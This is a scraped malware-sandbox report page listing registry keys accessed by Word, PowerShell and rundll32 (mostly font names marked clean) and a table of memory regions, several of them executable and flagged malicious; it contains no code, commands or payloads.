@PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Agency FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aharoni
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Algerian
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Andalus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Angsana New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
AngsanaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aparajita
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arabic Typesetting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Narrow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Rounded MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Baskerville Old Face
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bauhaus 93
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bell MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bernard MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Blackadder ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Poster Compressed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Book Antiqua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookman Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookshelf Symbol 7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bradley Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Britannic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Broadway
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Browallia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BrowalliaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Brush Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Californian FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calisto MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Candara
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Castellar
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Centaur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Schoolbook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Chiller
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Colonna MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Comic Sans MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Consolas
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Constantia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cooper Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Corbel
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cordia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
CordiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Courier New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Curlz MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DaunPenh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
David
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DilleniaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DokChampa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ebrima
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Edwardian Script ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Elephant
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Engravers MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Bold ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Demi ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Light ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Medium ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Estrangelo Edessa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EucrosiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Euphemia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Felix Titling
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Footlight MT Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Forte
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Book
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Heavy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FrankRuehl
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FreesiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Freestyle Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
French Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gabriola
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Garamond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gautami
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Georgia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gigi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Ext Condensed Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gisha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gloucester MT Extra Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Stout
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Haettenschweiler
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harlow Solid Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harrington
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
High Tower Text
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Impact
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Imprint MT Shadow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Informal Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
IrisUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Iskoola Pota
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
JasmineUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Jokerman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Juice ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kalinga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kartika
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Khmer UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KodchiangUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kokila
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kristen ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kunstler Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lao UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Latha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Leelawadee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Levenim MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LilyUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Bright
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Calligraphy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Console
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Fax
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Handwriting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Typewriter
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Unicode
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Magneto
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Maiandra GD
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mangal
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Marlett
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Matura MT Script Capitals
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Himalaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft New Tai Lue
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft PhagsPa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Tai Le
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Uighur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Yi Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mistral
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Modern No. 20
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mongolian Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Monotype Corsiva
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MoolBoran
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Outlook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Specialty
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MT Extra
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MV Boli
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Narkisim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Engraved
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Solid
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Nyala
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
OCR A Extended
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Old English Text MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Onyx
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palace Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palatino Linotype
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Papyrus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Parchment
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua Titling MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Plantagenet Cherokee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Playbill
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Poor Richard
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Pristina
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Raavi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rage Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ravie
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rod
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sakkal Majalla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Script MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Print
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Semibold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shonar Bangla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Showcard Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shruti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Snap ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Stencil
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sylfaen
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tempus Sans ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Times New Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Traditional Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Trebuchet MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tunga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Utsaah
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vani
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Verdana
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vijaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Viner Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vivaldi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vladimir Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vrinda
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Webdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wide Latin
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 2
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 3
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F57B1
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LastPurgeTime
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
WORDFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F57B1
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Settings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ZoomApp
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTF
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTA
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\SysWOW64\rundll32.exe
SavedLegacySettings
 clean
There are 326 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
10000000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
1C0000
unkown
page execute and read and write
 malicious
1A0000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
200000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
150000
unkown
page execute and read and write
 malicious
360000
unkown
page execute and read and write
 malicious
1F0000
unkown
page execute and read and write
 malicious
170000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
170000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
380000
unkown
page execute and read and write
 malicious
190000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
1F0000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
240000
unkown
page execute and read and write
 malicious
1E0000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
190000
unkown
page execute and read and write
 malicious
1D0000
unkown
page execute and read and write
 malicious
1B0000
unkown
page execute and read and write
 malicious
1B0000
unkown
page execute and read and write
 malicious
1E0000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
1F0000
unkown
page execute and read and write
 malicious
210000
unkown
page execute and read and write
 malicious
200000
unkown
page execute and read and write
 malicious
1D0000
unkown
page execute and read and write
 malicious
1D0000
unkown
page execute and read and write
 malicious
1D0000
unkown
page execute and read and write
 malicious
232E000
stack
page read and write
 clean
8FD000
heap default
page read and write
 clean
67D000
stack
page read and write
 clean
2A0000
unkown
page readonly
 clean
7FF00052000
unkown
page execute and read and write
 clean
2150000
unkown
page readonly
 clean
1B4C5000
unkown
page read and write
 clean
10022000
unkown
page execute and read and write
 clean
20000
unkown
page readonly
 clean
1BB20000
unkown
page read and write
 clean
10022000
unkown
page execute and read and write
 clean
1FB0000
unkown
page read and write
 clean
2A7000
heap default
page read and write
 clean
25A0000
unkown
page read and write
 clean
202F000
unkown
page read and write
 clean
1DE0000
unkown
page readonly
 clean
3B7000
heap private
page read and write
 clean
1FB0000
unkown
page read and write
 clean
7FF00102000
unkown
page execute and read and write
 clean
100000
unkown
page read and write
 clean
394000
heap private
page read and write
 clean
298D000
unkown
page read and write
 clean
1A0000
heap private
page read and write
 clean
12EE0000
unkown
page read and write
 clean
120000
unkown
page readonly
 clean
507000
heap default
page read and write
 clean
2160000
heap private
page read and write
 clean
4F4000
heap default
page read and write
 clean
4B4000
heap private
page read and write
 clean
313000
heap default
page read and write
 clean
12DA1000
unkown
page read and write
 clean
256E000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
2390000
unkown
page readonly
 clean
7FF00050000
unkown
page read and write
 clean
18D000
unkown
page read and write
 clean
657000
unkown
page read and write
 clean
17A000
stack
page read and write
 clean
1F67000
unkown
page readonly
 clean
120000
unkown
page readonly
 clean
35B5000
unkown
page read and write
 clean
90A000
heap default
page read and write
 clean
7FF001B0000
unkown
page read and write
 clean
190000
unkown
page execute and read and write
 clean
1E67000
unkown
page readonly
 clean
24E000
heap default
page read and write
 clean
5D0000
heap default
page read and write
 clean
5D7000
heap default
page read and write
 clean
1F77000
unkown
page readonly
 clean
AC000
stack
page read and write
 clean
10000000
unkown image
page readonly
 clean
35DE000
unkown
page read and write
 clean
8B7000
heap default
page read and write
 clean
2050000
unkown
page read and write
 clean
34E000
unkown
page read and write
 clean
2230000
unkown
page readonly
 clean
35E4000
unkown
page read and write
 clean
192000
unkown
page execute and read and write
 clean
BA000
stack
page read and write
 clean
1FB0000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
1BCCE000
unkown
page read and write
 clean
35D1000
unkown
page read and write
 clean
4D7000
heap default
page read and write
 clean
287E000
stack
page read and write
 clean
2D00000
unkown
page write copy
 clean
100000
unkown
page read and write
 clean
4E0000
unkown
page readonly
 clean
C30000
heap private
page read and write
 clean
AC000
unkown
page read and write
 clean
2350000
unkown
page readonly
 clean
7EFDF000
unkown
page read and write
 clean
2E0000
unkown
page readonly
 clean
BA7000
unkown
page readonly
 clean
1B4C0000
unkown
page read and write
 clean
33E5000
unkown
page read and write
 clean
324D000
unkown
page read and write
 clean
140000
unkown
page readonly
 clean
2760000
unkown
page readonly
 clean
420000
unkown
page readonly
 clean
